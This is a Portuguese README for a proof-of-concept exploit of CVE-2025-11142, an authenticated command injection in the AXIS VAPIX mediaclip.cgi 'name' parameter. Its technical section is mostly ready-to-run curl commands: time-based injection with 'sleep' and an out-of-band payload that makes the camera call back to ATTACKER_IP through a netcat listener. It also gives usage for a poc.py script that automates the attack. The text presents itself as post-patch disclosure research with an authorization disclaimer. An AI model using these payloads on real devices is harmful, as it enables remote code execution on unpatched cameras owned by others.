
Prova de conceito e análise técnica para CVE-2025-11142, uma injeção de comandos do sistema operacional autenticada no AXIS VAPIX mediaclip.cgi, com métodos de verificação baseados em tempo e fora de banda.
mediaclip.cgi da AXISArtigo técnico de pesquisa n-day e PoC — análise técnica pós-correção de uma vulnerabilidade de injeção de comandos no SO com CVSS 7.1 na API VAPIX Media Clip da AXIS, redescoberta de forma independente e verificada por meio de testes de caixa-preta contra um dispositivo Axis.
O aviso oficial da Axis não publica detalhes técnicos de exploração nem um PoC público ("A Axis não fornecerá informações mais detalhadas sobre a vulnerabilidade", "não há exploits conhecidos publicamente" na data de publicação do aviso). Este repositório documenta uma confirmação reproduzida de forma independente e baseada em evidências, publicada somente após a correção do fornecedor (AXIS OS 12.7.36) estar amplamente disponível. Consulte Cronograma de Divulgação.
| ID CVE | CVE-2025-11142 |
| CWE | CWE-78 (Injeção de Comandos no SO) |
| CVSS | 7.1 (Alta) |
| Afetados | AXIS OS 12.6.54 – 12.7.35 |
| Corrigido em | AXIS OS 12.7.36 (trilha Active) |
| Aviso do fornecedor | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| Privilégios necessários | Operador/administrador autenticado (autenticação VAPIX HTTP Digest) |
| Impacto verificado aqui | Execução arbitrária de comandos do SO como uma conta de serviço de baixo privilégio (não root) |
O endpoint VAPIX /axis-cgi/mediaclip.cgi aceita uma solicitação action=update com um
parâmetro name de texto livre (o nome de exibição do clipe). Testes de caixa-preta mostram
que esse valor é passado, sem sanitização, para uma invocação de shell no dispositivo —
provavelmente como parte de uma etapa interna de renomeação/processamento de arquivos do
subsistema de clipes de mídia.
Nenhum artigo técnico público descreve o caminho exato do código no lado do servidor (a Axis não publicou um), portanto a causa raiz abaixo é inferida do comportamento de caixa-preta, não de revisão de código-fonte.
Todas as solicitações usam autenticação HTTP Digest (o dispositivo rejeita autenticação Basic).
Substitua TARGET, USER e PASS pelos valores do seu dispositivo de laboratório — não use
as credenciais de exemplo contra um dispositivo que você não possui ou não está autorizado a testar.
A ação update exige um clipe existente. Se o clipe 0 ainda não existir, envie primeiro um
placeholder pequeno e inofensivo:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
Qualquer arquivo WAV válido e minúsculo serve para poc.wav (um cabeçalho RIFF/WAVE mínimo é suficiente).
# linha de base / controle — sem atraso injetado
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# atraso injetado de 8 segundos
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
Um tempo de resposta que acompanha a duração do sleep injetado (em vez da linha de base de
~0,3s) confirma que o shell está executando o valor completo de name, não apenas tratando-o
como uma string inerte. Isso foi verificado com múltiplos atrasos escalados de forma
independente (0s / 3s / 6s / 8s) e múltiplas sintaxes de injeção (;, &&, crases, $(...))
para descartar coincidência.
Como o corpo da resposta HTTP nunca ecoa a saída do comando (OK / Updating=0
independentemente do payload), a confirmação mais convincente usa a própria capacidade de
rede de saída do dispositivo. Inicie um listener em um host controlado pelo atacante e faça
o comando injetado chamá-lo de volta:
# no host do atacante:
nc -lvnp 4444
# payload injetado:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
Uma solicitação HTTP de entrada genuína do endereço IP do dispositivo de destino, contendo a
string curl do User-Agent, é uma prova inequívoca de execução remota de código — a solicitação
só pode se originar de um comando que realmente foi executado no dispositivo.
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pyConsulte poc.py para um script autônomo que automatiza as etapas 1–4 contra um
alvo que você especifica na linha de comando.
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi)
é revelado aqui que a Axis já não tenha confirmado.Este código é fornecido apenas para testes de segurança autorizados, pesquisa de segurança e fins defensivos (por exemplo, verificar se sua própria frota está corrigida, criar assinaturas de detecção). Não use contra dispositivos que você não possui ou para os quais não tem autorização escrita explícita para testar. O(s) autor(es) não assume(m) responsabilidade por uso indevido.
MIT — consulte LICENSE.